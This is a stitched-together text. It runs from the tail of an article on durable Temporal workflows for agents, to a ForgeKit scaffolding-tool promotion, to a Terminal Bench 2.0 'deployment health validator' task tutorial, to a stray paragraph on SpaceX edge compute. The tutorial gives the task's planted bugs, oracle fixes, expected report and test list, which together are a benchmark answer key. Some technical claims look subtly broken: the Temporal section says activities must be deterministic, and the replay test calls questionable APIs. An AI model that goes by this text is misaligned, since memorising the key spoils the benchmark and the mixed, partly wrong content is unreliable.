3. CLASSIFY: Run the LLM to categorize spend.

4. ROUTE: Send to the right approver (tool call).

5. WAIT_APPROVAL: Human gate.

6. RECORD: Log to accounting system (idempotent tool).

If the WAIT_APPROVAL step fails (timeout), the workflow restarts from that exact point. No re-processing of receipt, no re-classification. Durable, auditable, simple.

Testing: Deterministic replay

Validate that workflows replay identically:

# code/test/test_replay.py
from temporalio.testing import WorkflowEnvironment
import pytest

@pytest.mark.asyncio
async def test_workflow_replay():
    """Verify the workflow replays deterministically."""
    async with await WorkflowEnvironment.start_local() as env:
        await env.client.execute_workflow(
            AgentWorkflow.run,
            "user_123",
            "process_document.pdf",
            id="workflow_replay_test"
        )
        
        # Replay with different random seed should give same result
        result1 = await env.client.get_workflow_history(
            "workflow_replay_test"
        )
        
        # Confirm: no divergence warnings
        assert not result1.has_warnings()

Failure modes

1. Non-determinism in activities. You call random.randint() in an activity. The workflow replays; the random value is different. The history diverges. Temporal detects this as a warning. Fix: never use non-deterministic code in activities (no random, no time. now, no external API calls without caching). Use Temporal's side effects API for non-deterministic operations.

2. Activity timeout during long-running operation. An activity has a 5-minute timeout. The tool call takes 6 minutes. Activity fails. Temporal retries. The tool runs again (unless idempotent). Duplicate side effect. Fix: set activity timeouts to 2x the expected duration; use heartbeats for long operations to show progress.

3. Human approval timeout creates dangling workflows. A workflow is waiting for human approval. The operator never responds. After 1 hour, the workflow times out and transitions to FAILED. But the approval task is still in Jira, waiting. Inconsistent state. Fix: send a notification before the timeout; implement a callback pattern where the approval tool signals the workflow directly.

4. Event log explosion on high-frequency state machines. A workflow with 1,000 transitions per run, runs 1,000 times/second. The event log is 1B events/day. Storage and replay become too slow. Fix: snapshot the workflow state every N events (e.g., every 100); compress old events.

5. Worker crash during activity execution. A worker is executing a long-running activity. The worker crashes. Temporal retries from the activity's start (at-least-once semantics). If the tool wasn't idempotent, side effects are duplicated. Fix: always implement idempotency in tools; use idempotency keys.

When NOT to do this

Do not use Temporal/durable execution if:

• The workflow is simple (< 3 steps). Use LangGraph in-memory; operational overhead isn't worth it.

• Failures are acceptable and cheap to retry. If losing a $0.50 request is fine, skip durability.

• Your org has no infrastructure team. Temporal requires operator knowledge. If you're a solo AI engineer, stick with LangGraph.

What to ship this quarter

• Map your agent logic as an explicit state machine (diagram) by end of week 1.

• Implement as Temporal workflow with 5-7 states and activities by week 2.

• Add human-in-the-loop approval gate for high-stakes transitions by week 3.

• Tag all tool calls with idempotency keys by the end of week 3.

• Deploy to production with 3+ worker replicas by the end of the quarter.

• Validate replay and determinism with 100 test cases.

Further reading

Top references:

1. Temporal Python SDK Documentation. Workflows, activities, determinism.

2. Restate Runtime. Event-driven, durable execution alternative.

3. Inngest Workflows. Event-sourced agent execution.

4. NIST Software Supply Chain: Incident Response. Traces and replay for forensics.

5. Idempotency Keys RFC 9110. HTTP header standard for idempotent requests.

The Problem Nobody Talks About Honestly

It is 9 AM on a Monday. Your team just got greenlit on a new microservice. You spin up a fresh repo and then spend the next three hours doing this:

You copy the Dockerfile from the last project. Strip out service-specific stuff. Realize you forgot the health check. Set up GitHub Actions from a Stack Overflow template that still references Node 16, which hit EOL two years ago. Wire up ESLint, then discover your team standardized on a different config six months ago. Create .env.example, forget two variables, find out at 11 PM during code review.

You have not written a single line of product code.

This compounds across every new project, every new contributor onboarding, every side project started at 10 PM that burns out before the interesting part begins. It is not a skill problem. It is a tooling problem.

Engineers lose 2+ hours on every new project to the exact same setup work. ForgeKit eliminates it in one command.

https://youtu.be/NLMJQa4lyLI

What ForgeKit Is

ForgeKit is an open-source engineering acceleration platform. One command scaffolds a fully wired, production-ready project: Dockerfile, docker-compose, GitHub Actions CI, test setup, environment config, health endpoint, and stack-specific sensible defaults.

forgekit new my-api --template api-service

No config to set up. No template repos to fork and clean. The project runs on the first try.

It ships as a TypeScript monorepo published to npm, with six production-grade templates and a React 18 + Vite web dashboard for browsing and launching scaffolds visually.

Real-World Example: Zero to Running FastAPI Service

Say you are an ML engineer who needs a FastAPI service to expose a model endpoint. The usual path: virtualenv setup, remembering pydantic v2 syntax changes, SQLAlchemy async session wiring, getting the multi-stage Docker build right so the image is not 2 GB, writing CI from scratch.

With ForgeKit:

npm install -g forgekit-cli

forgekit new model-serving-api --template api-service

  ForgeKit, Engineering Acceleration Platform

  Scaffolding model-serving-api from template api-service...
  ✓ Scaffolded 14 files in 1.2s

  Next steps:
    cd model-serving-api
    pip install -r requirements.txt
    cp .env.example .env
    docker-compose up

What gets generated

Everything runs. Tests pass. Docker image builds clean. You are building your actual product within minutes.

All Six Templates

Every template ships with a Dockerfile, docker-compose, .env.example, and at least one passing test.

Architecture

ForgeKit is not a glorified cp -r. It has a clean five-layer architecture built for security and extensibility.

The Scaffold Lifecycle

When you run forgekit new, here is exactly what happens under the hood:

forgekit new
    → sanitizeProjectName()        [strips to a-z0-9 only]
    → validateTemplateId()          [regex + blocks path traversal]
    → getTemplate()                 [reads registry.json]
    → writeTemplateFiles()          [for each file:]
        → validatePathContainment() [blocks ../../ escapes]
        → Handlebars.compile()      [renders .hbs templates]
        → fs.outputFile()           [writes to disk]
    → validateHookCommand()         [allowlist: npm/pip/python only]
    → spawnSync(shell: false)       [runs post-scaffold hooks]
    → trackEvent()                  [opt-out telemetry]

Full source: packages/cli/src/core/

Security by Design

Security is a design constraint, not a checklist item. The core assumption is that templates are untrusted input. A malicious template must not escape the output directory or run arbitrary code.

A template cannot write outside the project root. A hook cannot run curl | bash. A project name cannot inject a path traversal. These are enforced at the code level, not by convention.

The four defenses

Path traversal prevention validates every destination path against the project root before any write:

// core/security.ts
export function validatePathContainment(
  targetRoot: string,
  filePath: string
): boolean {
  const resolvedRoot = path.resolve(targetRoot);
  const resolvedFile = path.resolve(targetRoot, filePath);
  return resolvedFile.startsWith(resolvedRoot + path.sep);
}

Command injection prevention via an explicit allowlist. Only npm, npx, yarn, pnpm, pip, pip3, python, and python3 are allowed. spawnSync uses shell: false.

Name sanitization strips everything except [a-z0-9-_]. The string ../../etc/passwd becomes etc-passwd. No special characters reach the filesystem.

External template validation checks github: and npm: prefixed IDs against a strict regex before any network call.

Every generated project ships secure by default

Generated Code That Actually Runs

The health route in every api-service scaffold:

from fastapi import APIRouter
from pydantic import BaseModel

router = APIRouter()

class HealthResponse(BaseModel):
    status: str
    version: str

@router.get("/health", response_model=HealthResponse)
async def health_check():
    return HealthResponse(status="ok", version="0.1.0")

The test that ships alongside it, passing on first run:

from fastapi.testclient import TestClient
from main import app

client = TestClient(app)

def test_health_check():
    response = client.get("/api/v1/health")
    assert response.status_code == 200
    assert response.json()["status"] == "ok"

Your CI is green before you write a single line of product code.

https://gist.github.com/SubhanshuMG/29a54512c27445b1d45f07da2d3a40fa

The Template System

Each template is a directory of files. Some are raw (copied as-is), some are Handlebars .hbs files for variable interpolation. The registry at templates/registry.json defines the manifest:

{
  "id": "api-service",
  "name": "API Service (Python + FastAPI)",
  "stack": ["python", "fastapi", "postgresql", "docker"],
  "files": [
    { "src": "main.py", "dest": "main.py" },
    { "src": "README.md.hbs", "dest": "README.md" },
    { "src": "Dockerfile", "dest": "Dockerfile" }
  ],
  "hooks": [
    { "type": "post-scaffold", "command": "pip", "args": ["install", "-r", "requirements.txt"] }
  ]
}

Handlebars files use {{name}} to inject the project name at scaffold time:

# {{name}}

A FastAPI service scaffolded with ForgeKit.

Full registry: templates/registry.json

Testing Strategy

Three layers, each with a specific purpose.

Unit tests cover the security functions: sanitizer, path containment, hook allowlist, template ID regex.

Integration tests scaffold a real project into a temp directory and verify the full file tree:

it("creates all expected files", async () => {
  const result = await scaffold({
    projectName: "test-api",
    templateId:  "api-service",
    outputDir:   os.tmpdir(),
    variables:   { name: "test-api" },
    skipInstall: true,
  });

  expect(result.success).toBe(true);
  expect(result.filesCreated).toContain(
    path.join(os.tmpdir(), "test-api", "main.py")
  );
});

Smoke tests run the full CLI binary end-to-end against a real filesystem.

Full test suite: packages/cli/src/__tests__

CI/CD Pipeline

Seven GitHub Actions workflows, each with a single job:

Workflows: .github/workflows/

How to Add Your Own Template

Full step-by-step guide (expand)

1. Create the directory: mkdir templates/django-api

2. Add your files (.hbs for Handlebars interpolation):

templates/django-api/
├── manage.py.hbs
├── requirements.txt
├── Dockerfile
├── docker-compose.yml
├── .env.example
└── README.md.hbs

3. Register in templates/registry.json:

{
  "id": "django-api",
  "name": "Django API",
  "stack": ["python", "django", "drf", "postgresql"],
  "files": [
    { "src": "manage.py.hbs", "dest": "manage.py" },
    { "src": "Dockerfile", "dest": "Dockerfile" }
  ],
  "hooks": [
    { "type": "post-scaffold", "command": "pip", "args": ["install", "-r", "requirements.txt"] }
  ]
}

4. Use {{name}} in .hbs files for project name injection.

5. Write a test, open a PR. That is the full loop.

The CLI

# Scaffold (interactive mode)
forgekit new

# Scaffold with flags
forgekit new my-api --template api-service

# Preview without writing files
forgekit new preview --template go-api --dry-run

# List templates
forgekit list

# Check your environment
forgekit doctor

Why Apache 2.0 and DCO

Apache 2.0 over MIT: Includes an explicit patent grant and trademark protection. For an engineering platform, companies will depend on both matters. MIT leaves them ambiguous.

DCO over CLA: A per-commit sign-off (git commit -s) stating you have the right to submit the code. Same legal effect as a CLA, zero friction. Every PR enforces it via dco-check.yml.

Roadmap

Full roadmap: ROADMAP.md

Get Started

npm install -g forgekit-cli
forgekit new

The repo is public, CI is green, the package is live on npm. Star the repo. Try the CLI. Contribute a template.

https://www.producthunt.com/products/forgekit-2

Contributing

Best first contributions right now:

• Add a new template (highest impact, see guide above)

• Improve error messages in packages/cli/src/core/

• Add test coverage for security function edge cases

• Improve the web dashboard (React 18 + Vite)

• Write or improve docs (VitePress)

CONTRIBUTING.md has the full guide.

GitHub: github.com/SubhanshuMG/ForgeKit
npm: npmjs.com/package/forgekit-cli
Website: forgekit.build

Apache 2.0. Built by Subhanshu Mohan Gupta.

The Incident

Picture this: your on-call rotation fires a PagerDuty alert at 3:07 AM. The deployment pipeline says green. Every service returned HTTP 200. The readiness check passed. But your notification pipeline is completely silent, job workers are backed up with 1,482 queued tasks, and customers are already filing tickets.

You pull up the deployment validator logs. Everything looks fine on the surface. The tool reported overall_status: healthy. It was wrong on every count.

This exact scenario is what the Deployment Health Validator task is built around. Five real-world bugs, carefully placed, each one plausible enough that most automated agents (and plenty of human engineers) miss at least one. This post walks through each bug, the architecture behind the validator, and how to build one correctly from scratch.

What Are We Building?

A deployment health validator does four things:

1. Reads a manifest that describes your microservices (ports, health endpoints, dependencies, criticality)

2. Probes each service's health endpoint and parses the response body, not just the HTTP status

3. Computes a weighted readiness score based on how critical each service is

4. Runs a topological sort (Kahn's algorithm) to produce a correct startup order where every dependency starts before the services that depend on it

The output is a structured JSON report that your deployment pipeline can parse and gate on.

Architecture Overview

Production Stack (mock services)

Dependency Graph

Real-World Parallel: Netflix's Hystrix, AWS Health Dashboards and Kubernetes Readiness Probes

Before diving into code, here's why this problem matters in production systems.

AWS Elastic Load Balancer will route traffic to a backend if its health check returns HTTP 200 on /health. That's it. If your app returns {"status": "starting_up"} with a 200, ELB thinks it's healthy and sends it live traffic. This exact failure mode took down a major e-commerce platform in 2019 during a Black Friday deploy.

Kubernetes readiness probes are a direct response to this problem. A pod's readiness probe checks whether it should receive traffic, separate from the liveness probe, which checks if it should be restarted. The probe can check an HTTP endpoint, but Kubernetes does not parse the body. You have to do that yourself, in your validator.

Netflix's Chaos Engineering toolkit specifically tests whether services correctly report unhealthy states under load. worker-service in this task is modelled on exactly this pattern: the service is technically "up" (HTTP 200) but degraded under load (queue_depth: 1482). A naive health checker marks it healthy. A correct one reads the body.

Project Structure

deployment-health-validator/
├── task.toml                         # Task metadata, timeouts, resource limits
├── instruction.md                    # What an agent (or engineer) must fix
├── environment/
│   ├── Dockerfile                    # Container definition
│   ├── deployment_manifest.yaml      # Service definitions (with a decoy key)
│   ├── mock_services.py              # Five Flask servers simulating endpoints
│   └── validator.py                  # THE BROKEN FILE
├── solution/
│   └── solve.sh                      # Oracle: patches all 5 bugs and runs
└── tests/
    └── test_outputs.py               # 19 pytest assertions

GitHub: terminal-bench-2-hard-devops-diagnostics

Step-by-Step Implementation Guide

Step 1: Set Up the Environment

git clone https://github.com/SubhanshuMG/terminal-bench-2-hard-devops-diagnostics.git
cd terminal-bench-2-hard-devops-diagnostics

python -m venv .venv
source .venv/bin/activate        # Windows: .venv\Scripts\activate

pip install flask requests pyyaml pytest

Step 2: Write the Deployment Manifest

The manifest has one deliberate trap: a top-level services: key that contains only a legacy monitoring entry. The real services live under deployment.services. This mirrors real-world YAML configs where legacy keys accumulate over time and create ambiguity.

# deployment_manifest.yaml

# Legacy monitoring registry (NOT the authoritative list)
services:
  - name: "metrics-collector"
    port: 9091
    health_endpoint: "/metrics"
    dependencies: []
    criticality: "low"

# Authoritative deployment configuration
deployment:
  name: "production-stack"

  services:
    - name: "auth-service"
      port: 8081
      health_endpoint: "/health"
      dependencies: []
      criticality: "high"

    - name: "api-gateway"
      port: 8082
      health_endpoint: "/health"
      dependencies:
        - "auth-service"
        - "cache-service"
      criticality: "high"

    - name: "cache-service"
      port: 8083
      health_endpoint: "/ping"       # note: NOT /health
      dependencies: []
      criticality: "medium"

    - name: "worker-service"
      port: 8084
      health_endpoint: "/status"     # returns HTTP 200 but body says degraded
      dependencies:
        - "api-gateway"
        - "cache-service"
      criticality: "low"

    - name: "notification-service"
      port: 8085
      health_endpoint: "/health"
      dependencies:
        - "worker-service"
      criticality: "low"

Step 3: Build the Mock Services

These five Flask servers simulate real microservice health endpoints. The key design choice: worker-service returns HTTP 200 with {"status": "degraded"}. Any validator that only checks the status code will silently miss this.

# mock_services.py

#!/usr/bin/env python3
import threading
from flask import Flask, jsonify

import logging
log = logging.getLogger("werkzeug")
log.setLevel(logging.ERROR)

auth_app = Flask("auth-service")

@auth_app.route("/health")
def auth_health():
    return jsonify({"status": "ok", "version": "2.1.0"}), 200


gateway_app = Flask("api-gateway")

@gateway_app.route("/health")
def gateway_health():
    return jsonify({"status": "healthy", "uptime_seconds": 3601}), 200


cache_app = Flask("cache-service")

@cache_app.route("/ping")
def cache_ping():
    return "pong", 200          # plain text, not JSON


worker_app = Flask("worker-service")

@worker_app.route("/status")
def worker_status():
    # HTTP 200 but the service is overloaded
    return jsonify({"status": "degraded", "queue_depth": 1482}), 200


notif_app = Flask("notification-service")

@notif_app.route("/health")
def notif_health():
    return jsonify({"status": "ok", "pending_notifications": 0}), 200


def _run(app, port):
    app.run(host="0.0.0.0", port=port, debug=False, use_reloader=False)


if __name__ == "__main__":
    specs = [
        (auth_app,    8081, "auth-service         /health"),
        (gateway_app, 8082, "api-gateway          /health"),
        (cache_app,   8083, "cache-service        /ping  "),
        (worker_app,  8084, "worker-service       /status"),
        (notif_app,   8085, "notification-service /health"),
    ]

    threads = []
    for app, port, label in specs:
        t = threading.Thread(target=_run, args=(app, port), daemon=True)
        t.start()
        threads.append(t)
        print(f"  started  {label}  -> http://0.0.0.0:{port}")

    print("All mock services running. Ctrl-C to stop.")
    for t in threads:
        t.join()

Start them in one terminal: python mock_services.py

Verify manually:

curl http://localhost:8081/health    # {"status": "ok", "version": "2.1.0"}
curl http://localhost:8082/health    # {"status": "healthy", "uptime_seconds": 3601}
curl http://localhost:8083/ping      # pong
curl http://localhost:8084/status    # {"status": "degraded", "queue_depth": 1482}
curl http://localhost:8085/health    # {"status": "ok", "pending_notifications": 0}

First discipline: always curl your endpoints before writing a health checker. The field names, the endpoint paths, and the semantic meaning of a 200 response all matter.

Step 4: The Broken Validator (And All Five Bugs)

Here is validator.py as it ships in the repository, with each bug annotated:

# validator.py (BROKEN)

#!/usr/bin/env python3
import json
import yaml
import requests
from datetime import datetime, timezone
from collections import deque


def load_services(manifest_path: str) -> list:
    with open(manifest_path) as f:
        config = yaml.safe_load(f)
    # BUG 1: reads config["services"] which is the legacy monitoring entry
    # only "metrics-collector" on port 9091 is returned; none of the real services
    return config["services"]


def check_health(service: dict) -> dict:
    url = f"http://127.0.0.1:{service['port']}{service['health_endpoint']}"
    try:
        resp = requests.get(url, timeout=5)
        if resp.status_code != 200:
            return {"status": "unhealthy", "http_status": resp.status_code,
                    "criticality": service["criticality"]}
        try:
            body = resp.json()
            # BUG 2: reads "health_status" key; no service ever sends this field
            # body.get("health_status", "ok") always returns default "ok"
            # worker-service sends {"status": "degraded"} but is reported healthy
            state = body.get("health_status", "ok")
        except ValueError:
            state = "ok"
        healthy = state in ("ok", "up", "healthy")
        return {"status": "healthy" if healthy else "unhealthy",
                "http_status": resp.status_code,
                "criticality": service["criticality"]}
    except requests.exceptions.RequestException:
        return {"status": "unhealthy", "http_status": 0,
                "criticality": service["criticality"]}


def compute_startup_order(services: list) -> list:
    names = [s["name"] for s in services]
    deps_map = {s["name"]: s.get("dependencies", []) for s in services}

    graph     = {n: [] for n in names}
    in_degree = {n: 0 for n in names}

    for svc, deps in deps_map.items():
        for dep in deps:
            # BUG 3: edges are reversed; leaf nodes get scheduled first
            # should be graph[dep].append(svc) and in_degree[svc] += 1
            graph[svc].append(dep)
            in_degree[dep] += 1

    queue = deque(n for n in names if in_degree[n] == 0)
    order = []
    while queue:
        node = queue.popleft()
        order.append(node)
        for neighbor in graph[node]:
            in_degree[neighbor] -= 1
            if in_degree[neighbor] == 0:
                queue.append(neighbor)
    return order


def compute_readiness_score(services: list, statuses: dict) -> float:
    # BUG 4: all weights equal 1; criticality is ignored entirely
    # spec says high=3, medium=2, low=1
    weight_map = {"high": 1, "medium": 1, "low": 1}

    total   = sum(weight_map[s["criticality"]] for s in services)
    healthy = sum(weight_map[s["criticality"]]
                  for s in services
                  if statuses[s["name"]]["status"] == "healthy")
    return round(healthy / total, 4) if total else 0.0


def determine_status(services: list, statuses: dict, score: float):
    # BUG 5: checks ALL services instead of only high-criticality ones
    # worker-service (low criticality) being unhealthy triggers "critical"
    critical_ok = all(
        statuses[s["name"]]["status"] == "healthy"
        for s in services    # should be: for s in services if s["criticality"] == "high"
    )

    if not critical_ok:
        return "critical", critical_ok
    if score >= 0.95:
        return "healthy", critical_ok
    if score >= 0.70:
        return "degraded", critical_ok
    return "not_ready", critical_ok

Breaking Down Each Bug

Bug 1: Wrong YAML Key Path

# BROKEN:
return config["services"]

# FIXED:
return config["deployment"]["services"]

The manifest has two services keys at different nesting levels. The top-level one is explicitly labelled as a "legacy monitoring registry." The validator reads the wrong one, picks up only metrics-collector, and probes port 9091 instead of the real five services.

Why it's hard to catch: The broken code runs without errors. It probes an endpoint (9091) that isn't listening, gets a connection refused, marks metrics-collector as unhealthy, and writes a report that looks structurally valid. No stack trace — just wrong data.

Bug 2: Wrong JSON Body Field Name (the hardest one)

# BROKEN:
state = body.get("health_status", "ok")

# FIXED:
state = body.get("status", "ok")

This is the most insidious bug in the set. worker-service returns {"status": "degraded", "queue_depth": 1482} with HTTP 200. The broken code reads the health_status field, which doesn't exist in any response. dict.get() returns the default "ok". The validator marks worker-service as healthy.

Real-world equivalent: An AWS Lambda function returns {"statusCode": 200, "body": "{\"error\": \"DB_TIMEOUT\"}"}. If you check response.statusCode == 200 and call it done, you miss the error in the body entirely.

Why agents miss this: The output looks correct. Four services are healthy. No exceptions are thrown. You would only catch it by curling the endpoint yourself and tracing exactly which field the code reads from the response.

Bug 3: Reversed Topological Sort

# BROKEN (edges reversed):
graph[svc].append(dep)
in_degree[dep] += 1

# FIXED (dep must start before svc):
graph[dep].append(svc)
in_degree[svc] += 1

Kahn's algorithm itself is structurally correct. The bug is in how the graph is constructed. The broken code points from a service back to its dependencies, inverting the dependency flow. Nodes with no outgoing edges (the real leaf nodes like notification-service) end up with zero in-degree and get scheduled first.

Correct startup order:

auth-service → cache-service → api-gateway → worker-service → notification-service

Broken output:

notification-service → worker-service → api-gateway → cache-service → auth-service

Real-world consequence: You start notification-service before worker-service is ready. It tries to connect, fails, and crashes. Your deployment fails not because of a bug in a service, but because of a bug in the tool that decides the order to start services.

Bug 4: All Criticality Weights Equal 1

# BROKEN:
weight_map = {"high": 1, "medium": 1, "low": 1}

# FIXED:
weight_map = {"high": 3, "medium": 2, "low": 1}

The task specification defines weights of 3/2/1 for high/medium/low criticality. With equal weights:

Broken score:  4 healthy out of 5 total = 0.8
Correct score: (3 + 3 + 2 + 1) / (3 + 3 + 2 + 1 + 1) = 9/10 = 0.9

The broken score still exceeds the 0.70 threshold and stays below 0.95, so the overall status computation might accidentally give the right answer for the wrong reason. But downstream systems relying on an accurate score for SLA calculations will get wrong numbers.

Bug 5: Critical Services Check Ignores Criticality

# BROKEN:
critical_ok = all(
    statuses[s["name"]]["status"] == "healthy"
    for s in services
)

# FIXED:
critical_ok = all(
    statuses[s["name"]]["status"] == "healthy"
    for s in services
    if s["criticality"] == "high"
)

With worker-service (low criticality) being unhealthy, the broken code sets critical_services_healthy = False and returns overall_status: "critical". The correct answer is "degraded"All high-criticality services are healthy, but the readiness score (0.9) falls below the 0.95 threshold for a fully healthy deployment.

Real-world consequence: A "critical" status might trigger an automated rollback, page every on-call engineer in the org, or block a release. Triggering a critical alarm because a low-priority background worker is degraded is exactly the kind of alert fatigue that causes engineers to start ignoring pages.

Step 5: The Fixed Validator

# validator_fixed.py

#!/usr/bin/env python3
import json
import yaml
import requests
from datetime import datetime, timezone
from collections import deque


def load_services(manifest_path: str) -> list:
    with open(manifest_path) as f:
        config = yaml.safe_load(f)
    # FIX 1: correct key path
    return config["deployment"]["services"]


def check_health(service: dict) -> dict:
    url = f"http://127.0.0.1:{service['port']}{service['health_endpoint']}"
    try:
        resp = requests.get(url, timeout=5)
        if resp.status_code != 200:
            return {"status": "unhealthy", "http_status": resp.status_code,
                    "criticality": service["criticality"]}
        try:
            body = resp.json()
            # FIX 2: read the correct field name "status"
            status_ok = body.get("status", "ok") in ("ok", "up", "healthy")
        except ValueError:
            status_ok = True  # non-JSON (e.g. "pong"): HTTP 200 is sufficient
        return {"status": "healthy" if status_ok else "unhealthy",
                "http_status": resp.status_code,
                "criticality": service["criticality"]}
    except requests.exceptions.RequestException:
        return {"status": "unhealthy", "http_status": 0,
                "criticality": service["criticality"]}


def compute_startup_order(services: list) -> list:
    names = [s["name"] for s in services]
    deps_map = {s["name"]: s.get("dependencies", []) for s in services}

    graph     = {n: [] for n in names}
    in_degree = {n: 0 for n in names}

    for svc, deps in deps_map.items():
        for dep in deps:
            # FIX 3: correct edge direction; dep starts before svc
            graph[dep].append(svc)
            in_degree[svc] += 1

    queue = deque(n for n in names if in_degree[n] == 0)
    order = []
    while queue:
        node = queue.popleft()
        order.append(node)
        for neighbor in graph[node]:
            in_degree[neighbor] -= 1
            if in_degree[neighbor] == 0:
                queue.append(neighbor)
    return order


def compute_readiness_score(services: list, statuses: dict) -> float:
    # FIX 4: correct criticality weights
    weight_map = {"high": 3, "medium": 2, "low": 1}

    total   = sum(weight_map[s["criticality"]] for s in services)
    healthy = sum(weight_map[s["criticality"]]
                  for s in services
                  if statuses[s["name"]]["status"] == "healthy")
    return round(healthy / total, 4) if total else 0.0


def determine_status(services: list, statuses: dict, score: float):
    # FIX 5: only check high-criticality services
    critical_ok = all(
        statuses[s["name"]]["status"] == "healthy"
        for s in services
        if s["criticality"] == "high"
    )

    if not critical_ok:
        return "critical", critical_ok
    if score >= 0.95:
        return "healthy", critical_ok
    if score >= 0.70:
        return "degraded", critical_ok
    return "not_ready", critical_ok


def main():
    manifest_path = "/app/deployment_manifest.yaml"
    output_path   = "/app/deployment_report.json"

    services = load_services(manifest_path)

    statuses = {}
    for svc in services:
        result = check_health(svc)
        statuses[svc["name"]] = result
        print(f"  {svc['name']:25s} {result['status']:10s} (HTTP {result['http_status']})")

    startup_order = compute_startup_order(services)
    score = compute_readiness_score(services, statuses)
    overall_status, critical_ok = determine_status(services, statuses, score)

    report = {
        "deployment_name":           "production-stack",
        "overall_status":            overall_status,
        "readiness_score":           score,
        "service_statuses":          statuses,
        "startup_order":             startup_order,
        "critical_services_healthy": critical_ok,
        "timestamp":                 datetime.now(timezone.utc).isoformat(),
    }

    with open(output_path, "w") as f:
        json.dump(report, f, indent=2)

    print(f"\nReport written to {output_path}")
    print(f"Overall status : {overall_status}")
    print(f"Readiness score: {score}")


if __name__ == "__main__":
    main()

Step 6: Expected Output

{
  "deployment_name": "production-stack",
  "overall_status": "degraded",
  "readiness_score": 0.9,
  "service_statuses": {
    "auth-service":         { "status": "healthy",   "http_status": 200, "criticality": "high" },
    "api-gateway":          { "status": "healthy",   "http_status": 200, "criticality": "high" },
    "cache-service":        { "status": "healthy",   "http_status": 200, "criticality": "medium" },
    "worker-service":       { "status": "unhealthy", "http_status": 200, "criticality": "low" },
    "notification-service": { "status": "healthy",   "http_status": 200, "criticality": "low" }
  },
  "startup_order": [
    "auth-service",
    "cache-service",
    "api-gateway",
    "worker-service",
    "notification-service"
  ],
  "critical_services_healthy": true,
  "timestamp": "2024-01-01T00:00:00+00:00"
}

Score derivation (high=3, medium=2, low=1):

Healthy weight: auth(3) + api-gateway(3) + cache(2) + notification(1) = 9
Total weight:   9 + worker(1) = 10
Readiness score: 9/10 = 0.9

Status logic:
  critical_services_healthy = true   (both high services are healthy)
  score = 0.9, which is < 0.95
  result: "degraded"

Step 7: The Dockerfile

FROM python:3.12-slim

RUN apt-get update && \
    apt-get install -y --no-install-recommends curl && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /app

COPY requirements.txt /app/
RUN pip install --no-cache-dir flask==3.0.3 requests==2.32.3 pyyaml==6.0.2

COPY * /app/

# Start mock services in background, wait for auth-service to be ready,
# then hold the container open for the agent or oracle to exec into.
CMD ["/bin/bash", "-c", \
     "python /app/mock_services.py > /tmp/mock_services.log 2>&1 & \
      until curl -sf http://localhost:8081/health > /dev/null 2>&1; do sleep 1; done && \
      sleep infinity"]

Build and run:

docker build -t deployment-validator ./deployment-health-validator/environment/
docker run -it --rm deployment-validator bash

# Inside the container:
python /app/mock_services.py &
sleep 2
python /app/validator.py     # or run the fixed version
cat /app/deployment_report.json

Step 8: Run the Test Suite

The 19 tests break down as follows:

Run them:

# Inside the container, after running the validator
pytest /app/tests/ -v

A passing run looks like:

PASSED tests/test_outputs.py::test_report_file_exists
PASSED tests/test_outputs.py::test_report_top_level_keys
PASSED tests/test_outputs.py::test_deployment_name
PASSED tests/test_outputs.py::test_timestamp_format
PASSED tests/test_outputs.py::test_all_five_services_present
PASSED tests/test_outputs.py::test_auth_service_healthy
PASSED tests/test_outputs.py::test_api_gateway_healthy
PASSED tests/test_outputs.py::test_cache_service_healthy
PASSED tests/test_outputs.py::test_worker_service_unhealthy
PASSED tests/test_outputs.py::test_notification_service_healthy
PASSED tests/test_outputs.py::test_service_criticality_values
PASSED tests/test_outputs.py::test_readiness_score
PASSED tests/test_outputs.py::test_critical_services_healthy
PASSED tests/test_outputs.py::test_overall_status_degraded
PASSED tests/test_outputs.py::test_startup_order_has_all_services
PASSED tests/test_outputs.py::test_startup_order_auth_before_gateway
PASSED tests/test_outputs.py::test_startup_order_cache_before_gateway
PASSED tests/test_outputs.py::test_startup_order_gateway_before_worker
PASSED tests/test_outputs.py::test_startup_order_worker_before_notification

19 passed in 0.12s

Step 9: Running as a Terminal Bench 2.0 Task

This repository is also a valid Terminal Bench 2.0 task submission. You can run it against an AI agent to measure how reliably the agent finds all five bugs.

pip install bespokelabs-harbor

export GROQ_API_KEY=<your-key>

# Verify the oracle (the task must be solvable before you can score agents against it)
harbor run -p ./deployment-health-validator -a oracle -q

# Run an agent trial; k=10 gives a statistically meaningful success rate
harbor run -p ./deployment-health-validator \
    -a terminus-2 \
    -m groq/moonshotai/kimi-k2-instruct-0905 \
    -k 10

The Difficulty Calibration Story

Getting the task into the "hard" range (between 0% and 70% agent success) required five iterations:

The key insight: a bug must produce plausible-looking output without throwing exceptions. A validator that crashes is trivially easy to fix. A validator that silently produces wrong answers is genuinely hard, because you have to know what the correct answer should be before you can spot the discrepancy.

This is the same principle behind production incident post-mortems. The hardest outages aren't the ones where something crashes; they're the ones where something runs successfully while doing the wrong thing.

Key Takeaways

1. HTTP status codes are not health signals. Always parse the response body and check the semantic status field. A 200 OK with {"status": "degraded"} means the service is degraded.

2. Read your YAML carefully. Manifest files accumulate legacy keys over time. Know which section of the config is authoritative. Comment it explicitly.

3. Topological sort edge direction matters. In Kahn's algorithm, an edge from A to B means A comes before B. If your dependency means "A must exist before B starts," the edge is A → B, in_degree[B] += 1. It's easy to get this exactly backwards.

4. Weighted scoring should reflect business priority. Equal weights mean a low-priority background worker failing counts the same as your authentication service being down. That's not true in production.

5. Critical service filtering should be explicit. If your alerting fires "critical" when any service is unhealthy, you'll desensitize your on-call team within a week. Be precise about which services actually matter for the critical threshold.

6. Test with assertions about semantic values, not just structure. Checking that deployment_report.json exists is not enough. Check that worker-service.status == "unhealthy", that readiness_score == 0.9, and that startup_order.index("auth-service") < startup_order.index("api-gateway").

Edge Compute Is Already Running Containers at Surprising Scale

The edge is no longer a future state. SpaceX operates 30,000+ Linux nodes in orbit across the Starlink constellation, with each satellite containing roughly 60 Linux computers alongside custom ASICs from STMicroelectronics (which delivers 5+ million chips per day to SpaceX). While SpaceX hasn't confirmed containers in orbit, their ground infrastructure runs Kubernetes, Docker, Kafka, and HBase extensively, serving 9+ million users with software updates pushed to satellites weekly. The V3 satellites deliver over 1 Tbps fronthaul throughput per bird.

